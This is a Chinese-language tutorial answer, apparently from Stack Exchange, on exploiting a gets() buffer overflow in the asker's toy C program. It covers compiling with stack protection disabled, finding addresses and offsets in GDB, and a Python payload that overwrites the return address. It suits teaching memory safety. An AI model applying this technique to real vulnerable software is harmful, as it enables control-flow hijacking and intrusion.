如何利用缓冲区溢出跳转到C代码中的指定执行行?
一、编译代码(关闭栈保护机制)
现代GCC默认启用栈保护(Stack Canary)和栈不可执行限制,这些会阻止缓冲区溢出触发,编译时必须关闭:
gcc -g -fno-stack-protector -z execstack -o overflow your_source_code.c
参数说明:
-g:生成调试符号,方便GDB查看代码与内存-fno-stack-protector:禁用栈保护检测-z execstack:允许栈区域执行代码(本案例是跳转至现有代码,非注入,但关闭限制更稳妥)
二、用GDB定位目标地址与栈偏移
1. 启动GDB加载程序
gdb ./overflow
2. 找到目标代码地址
你需要让程序跳转到puts("If this runs, its a success!");的执行位置,反汇编main函数即可找到对应地址:
disas main
在输出的汇编代码中,找到对应成功消息的call puts指令行,类似:
0x0804847d <main+62>: call 0x8048340 <puts@plt>
这里的0x0804847d就是你要跳转的目标地址(注意:你的实际地址会不同,以GDB输出为准)。
如果嫌找汇编麻烦,也可以直接搜索字符串地址,再关联到对应调用:
find "If this runs, its a success!"
得到字符串地址后,用x/i查看引用该地址的指令,就能拿到目标跳转地址。
3. 计算栈偏移量(需要填充多少字符才能覆盖返回地址)
要确定从something数组到返回地址的字节数,按以下步骤操作:
- 设置断点在
main入口,运行程序:break main run - 查看
something数组的地址:print &something - 查看当前栈帧的返回地址位置(32位系统中返回地址存放在
ebp+4处):print $ebp+4 - 偏移量 = 返回地址 -
something数组地址。更精确的验证方法:
在gets调用后设置断点,输入已知字符(比如16个A),然后查看栈内容:
输入break *main+45 # 替换成你代码中gets执行后的指令地址,从disas main的输出中查找 continueAAAAAAAAAAAAAAAA,然后查看栈:
通过对比就能精确算出需要多少字符才能刚好覆盖到返回地址。x/10x $ebp-0x10 # 查看something数组的内存 x/4x $ebp # 查看EBP是否被覆盖 x/4x $ebp+4 # 查看返回地址是否被覆盖
三、构造Payload并触发溢出
假设你算出需要填充20字节垃圾数据,目标地址是0x0804847d(32位系统是小端序,地址要逆序写成\x7d\x84\x04\x08),用Python生成Payload并输入程序:
python -c 'print "A"*20 + "\x7d\x84\x04\x08"' | ./overflow
此时gets会读取Payload,覆盖栈上的返回地址,当main函数执行到ret指令时,会跳转到目标地址,执行成功消息的输出。
四、栈内存工作机制简述
x86 32位系统中,函数栈帧从高到低布局大致为:
- 返回地址:函数执行完毕后要跳转的地址(由调用者压入栈)
- EBP(基址指针):保存上一个栈帧的基址,用于定位栈内变量
- 局部变量:比如你的
something数组,位于栈的低地址区域
gets函数不做输入长度检查,输入超过数组大小的字符会依次覆盖栈内后续数据:先填满数组,接着覆盖栈填充字节,然后覆盖EBP,最终覆盖返回地址。当函数执行ret指令时,会从栈中取出返回地址并跳转——这就是缓冲区溢出控制程序执行流的核心原理。
注意:64位系统的地址长度为8字节,栈布局细节不同,但核心原理一致,操作时需调整地址长度与偏移量计算方式。
内容的提问来源于stack exchange,提问作者James Bardolph

